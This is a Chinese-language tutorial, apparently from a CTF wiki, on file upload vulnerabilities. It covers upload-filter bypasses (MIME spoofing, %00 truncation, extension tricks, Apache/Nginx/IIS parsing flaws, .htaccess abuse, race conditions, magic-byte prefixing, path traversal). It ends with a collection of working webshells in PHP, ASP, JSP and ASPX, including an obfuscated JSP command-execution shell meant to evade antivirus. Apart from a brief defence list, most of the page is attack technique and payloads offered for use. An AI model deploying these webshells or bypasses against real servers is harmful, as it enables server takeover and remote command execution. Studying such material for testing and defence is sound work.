文件上传

文件上传漏洞

文件上传漏洞原理

一些 web 应用程序中允许上传图片、视频、头像和许多其他类型的文件到服务器中。
文件上传漏洞就是利用服务端代码对文件上传路径变量过滤不严格,将可执行的文件上传到服务器中,再通过 URL 去访问以执行恶意代码。


危害

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。
这个恶意的脚本文件,又被称为 WebShell,也可以将 WebShell 脚本称为一种网页后门,WebShell 脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。


防御

  • 文件扩展名服务端白名单效验
  • 文件内容服务端效验
  • 上传文件重命名
  • 隐藏上传文件路径
  • 限制相关目录的执行权限,防范 WebShell 攻击

检测与绕过

无验证

直接上传一句话木马或者 WebShell 脚本即可。


客户端检测(Javascript 检测)

在网页上写一段 Javascript 脚本,效验文件上传的后缀名,有白名单形式也有黑名单形式。如果上传文件的后缀不被允许,则会弹窗告知,此时文件上传的数据包并没有发送到服务端,只是在客户端浏览器使用 Javascript 对数据包进行检测。

绕过方法

  • 使用浏览器插件,删除检测文件后缀的 Javascript 代码,然后上传文件即可绕过。
  • 首先把需要上传的文件后缀改成允许上传的文件类型,如 jpg、png、gif 等,绕过 Javascript 检测,再抓包,将后缀名改成可执行文件的后缀即可上传成功。

服务端检测(MINE 类型检测)

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
服务器代码判断 $_FILES["file"]["type"] 是否为图片格式(image/jpegimage/pngimage/gif),如果不是,则不允许上传该文件。

绕过方法

抓包后更改 Content-Type 为允许的类型绕过该代码限制,比如将 php 文件的
Content-Type: application/octet-stream 修改为 image/jpegimage/pngimage/gif 等即可。

常见 MIMETYPE

  • audio/mpeg → .mp3
  • application/msword → .doc
  • application/octet-stream → .exe
  • application/pdf → .pdf
  • application/x-javascript → .js
  • application/x-rar → .rar
  • application/zip → .zip
  • image/gif → .gif
  • image/jpeg → .jpg / .jpeg
  • image/png → .png
  • text/plain → .txt
  • text/html → .html
  • video/mp4 → .mp4

服务端检测(目录路径检测)

对目录路径的检测不够严谨而导致可以使用 %00 截断绕过进行攻击。

绕过方法

例如:/111.php%00.gif/111.gif → 实际解析为 /111.php


服务端检测(文件扩展名检测)

绕过方法

  • 文件名大小写绕过:如 *.pHp*.aSP
  • 文件名双写绕过:如 *.pphphp
  • Unicode:当目标存在 json_decode 且检查在 json_decode 之前,可以将 php 写为 \u0070hp
  • 名单列表绕过:如 *.asa*.cer
  • 特殊文件名绕过:比如 Windows 文件名最后不能有点或空格,可设为 *.php.*.php+
  • 0x00 截断绕过:如 *.php(0x00).jpg*.php%00.jpg
  • 文件包含漏洞
  • 服务器解析漏洞
  • .htaccess 文件攻击

文件截断绕过攻击

  • 截断类型:PHP %00 截断
  • 截断原理:由于 00 代表结束符,所以会把 00 后面的所有字符删除
  • 截断条件:PHP 版本小于 5.3.4,且 PHP 的 magic_quotes_gpc 为 OFF 状态

绕过方法

例如上传文件 shell.php,上传文件路径为 /?upload=shell.php
绕过方法:/?upload=shell.php%00.jpg → 实际解析为 /?upload=shell.php


解析漏洞攻击

主要有目录解析、文件解析、Apache 解析漏洞、Nginx 解析漏洞、IIS7.5 解析漏洞。

目录解析

  • 形式www.xxx.com/xxx.asp/xxx.jpg
  • 原理:服务器会默认把 .asp 以及 .asp 目录下的文件都解析成 asp 文件

文件解析

  • 形式www.xxx.com/xxx.asp;.jpg
  • 原理:服务器默认不解析 ; 后面的内容,因此 xxx.asp;jpg 被解析为 xxx.asp 文件

Apache 解析漏洞

服务器代码中限制了某些后缀的文件不允许上传,但部分 Apache 允许解析其它后缀,例如在 httpd.conf 中如果配置如下代码,则能够解析 php 和 phtml 文件:

1
AddType application/x-httpd-php .php .phtml

常用后缀:
*.php *.php3 *.php4 *.php5 *.phtml *.pht

在 Apache 的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。
例如上传的文件名为 1.php.xxxx,因为后缀 xxxx 不可解析,所以向左解析后缀 php

  • 例如:shell.php.qwe.asd → 实际解析为 shell.php

Nginx 解析漏洞

Nginx 默认是以 CGI 的方式支持 PHP 解析的,普遍的做法是在 Nginx 配置文件中通过正则匹配设置 SCRIPT_FILENAME
当访问 www.xxx.com/phpinfo.jpg/1.php 这个 URL 时,$fastcgi_script_name 会被设置为 “phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME 传递给 PHP CGI。
原因是开启了 fix_pathinfo 这个选项,会触发 PHP 中如下逻辑:
PHP 会认为 SCRIPT_FILENAME 是 phpinfo.jpg,而 1.php 是 PATH_INFO,所以就会将 phpinfo.jpg 作为 PHP 文件来解析。

攻击方式:

  • 形式:
    www.xxxx.com/UploadFiles/image/1.jpg/1.php
    www.xxxx.com/UploadFiles/image/1.jpg%00.php
    www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
  • 另一种方法:上传一个名字为 test.jpg,然后访问 test.jpg/.php,在这个目录下就会生成一句话木马 shell.php

IIS7.5 解析漏洞

IIS7.5 的漏洞与 Nginx 类似,都是由于 PHP 配置文件中开启了 cgi.fix_pathinfo,而这并不是 Nginx 或 IIS7.5 本身的漏洞。


竞争条件攻击

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传文件中是否包含 WebShell 脚本,如果包含则删除该文件。
这里存在的问题是文件上传成功后和删除文件之间存在一个短暂的时间差(因为需要执行检查文件和删除文件的操作),攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。

攻击方法

  • 攻击者需要先上传一个 WebShell 脚本 1.php,其内容用于生成一个新的 WebShell 脚本 shell.php1.php 写入如下代码:

    1
    2
    3
    <?php
    fputs(fopen("../shell.php", "w"), '<?php @eval($_POST['cmd']); ?>');
    ?>
  • 1.php 上传完成后,客户端立即访问 1.php,则会在服务端当前目录下自动生成 shell.php,攻击者就利用了时间差完成了 WebShell 的上传。


双文件上传

本意为上传两个或多个文件以突破限制。
上传点支持多文件上传,但是却只对第一个文件做了过滤。

利用方式

  • 在存在双文件上传漏洞的页面中,查看上传页面。
    使用 F12 开发者工具找到上传的 POST 表单,action 属性指定上传检测页面,一般为绝对路径,例如:xxx.asp/xxx.php

  • 补全 URL:https://www.xxx.com/xxx.php(asp)

  • 构造本地 POST 提交表单,如下:

    1
    2
    3
    4
    5
    6
    <form action="https://www.xxx.com/xxx.asp(php)" method="post"
    name="form1" enctype="multipart/form-data">
    <input name="FileName1" type="FILE" class="tx1" size="40">
    <input name="FileName2" type="FILE" class="tx1" size="40">
    <input type="submit" name="Submit" value="上传">
    </form>
  • 利用时只需修改 action 的值为指定上传页面即可:

    • 第一个文件上传允许的文件类型(如 .jpg.png.gif 等)
    • 第二个文件为一句话木马或者 WebShell 脚本
      这样就可以突破上传限制,成功上传木马到服务器。

php3457

该项为 Apache 专属。
关键点在 /etc/apache2/mods-available/php5.6.conf 文件中,满足 .+\.ph(p[3457]?|t|tml)$ 的文件都会被当作 PHP 文件解析。
在 Apache2 目录下通过命令 grep -r x-httpd-php /etc/apache2 可以找到对应文件,从而得知解析哪些后缀。


.htaccess 文件攻击

.htaccess 文件(或者“分布式配置文件”)提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。
作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

概述来说,.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。
通过 .htaccess 文件,可以实现以下功能:

  • 网页 301 重定向
  • 自定义 404 错误页面
  • 改变文件扩展名
  • 允许/阻止特定的用户或者目录的访问
  • 禁止目录列表
  • 配置默认文档

启用 .htaccess 需要修改 httpd.conf,启用 AllowOverride,并可以用 AllowOverride 限制特定命令的使用。
如果需要使用 .htaccess 以外的其他文件名,可以用 AccessFileName 指令来改变。例如,需要使用 .config,则可以在服务器配置文件中按以下方法配置: AccessFileName .config

常见利用方式

  1. 针对黑名单绕过
    创建一个 txt 文件,写入:

    1
    AddType  application/x-httpd-php    .png

    另存为 .htaccess(保存类型为所有文件),即可将 png 文件解析为 php 文件。

  2. 留后门
    在 .htaccess 内写入 PHP 解析规则,如将文件名包含 s 的解析成 php 文件:

    1
    2
    3
    <FilesMatch "s">
    SetHandler application/x-httpd-php
    </FilesMatch>

    这样 shell.png 就会以 php 文件执行。

  3. 利用 .htaccess 进行文件包含

    1
    2
    php_value auto_prepend_file ".htaccess"
    #<?php eval($_POST[cmd]);?>
  4. 使用 # 注释
    利用 # 使得 .htaccess 能够成功解析。


服务器检测(文件内容检测)

文件幻数检测(文件开头)

幻数 (magic number) 可用来标记文件或协议的格式,许多文件都有幻数标志来表明文件格式。
要绕过文件幻数检测,可以在文件开头写入如下值:

1
2
3
.jpg   FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47

在文件幻数后面加上自己的 WebShell 代码即可。

文件相关信息检测

图像文件相关信息检测常用的是 getimagesize() 函数,需要把文件头部分伪造(在幻数的基础上加上文件信息)。

例如下面结构:

1
2
3
4
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)

另一种是判断是否包含 <? 或者 php

  • 绕过 <?

    1
    <script language='php'>@eval($_POST[cmd]);</script>
  • 绕过 php

    1
    <?= @eval($_POST['cmd']);?>

绕过方法

  • 对渲染/加载测试的攻击方式是代码注入绕过。
    使用 winhex 在不破坏文件本身渲染的情况下找一个空白区进行填充代码,一般为图片的注释区。

  • 对二次渲染的攻击方式则是攻击文件加载器自身,例如:

    • 上传文件数据不完整的 gif 文件 → 触发报错 imagecreatefromgif() 函数
    • 上传文件数据不完整的 png 文件 → 触发报错 imagecreatefrompng() 函数

    某后台调用 GD 库对图像进行二次渲染的代码示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function image_gd_open($file, $extension)
    {
    $extension = str_replace('jpg', 'jpeg', $extension);
    $open_func = 'imageCreateFrom' . $extension; // 函数名变成 imageCreateFrompng 之类
    if (!function_exists($open_func))
    {
    return FALSE;
    }
    return $open_func($file); // 变成 imagecreatefrompng('/tmp/phpimage')
    }
  • 另一种方法是对文件加载器进行攻击,常见的就是溢出攻击。
    上传恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行 shellcode,例如 access/mdb 溢出。


文件上传中的目录穿越漏洞

攻击方式

上传的文件会被解析为日志不能执行,给出 /uploads/xxx.php 路径并且可以查询。

绕过方法

上传文件时抓包,修改文件名(filename)为 ./../../../../flag
上传成功后路径变为 /uploads/./../../../../flag 即可进行目录穿越。


攻击代码

常用攻击代码

  • 简单的一句话木马

    1
    <?php @eval($_POST['cmd']);?>
  • 绕过 <? 限制的一句话木马

    1
    <script language = 'php'>@eval($_POST[cmd]);</script>
  • 绕过 <?php ?> 限制的一句话木马

    1
    <?= @eval($_POST['cmd']);
  • ASP 一句话木马

    1
    <%eval(Request.Item["cmd"],"unsafe");%>
  • JSP 一句话木马

    1
    <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
  • JSP 一句话免杀(ASCLL 编码)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <%@ page contentType="text/html;charset=UTF-8"  language="java" %>
    <%
    if(request.getParameter("cmd")!=null){
    Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
    Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
    java.io.InputStream in = e.getInputStream();
    int a = -1;byte[] b = new byte[2048];out.print("<pre>");
    while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
    %>
  • ASPX 一句话

    1
    <script language="C#" runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

参考链接

https://wiki.wgpsec.org/knowledge/ctf/uploadfile.html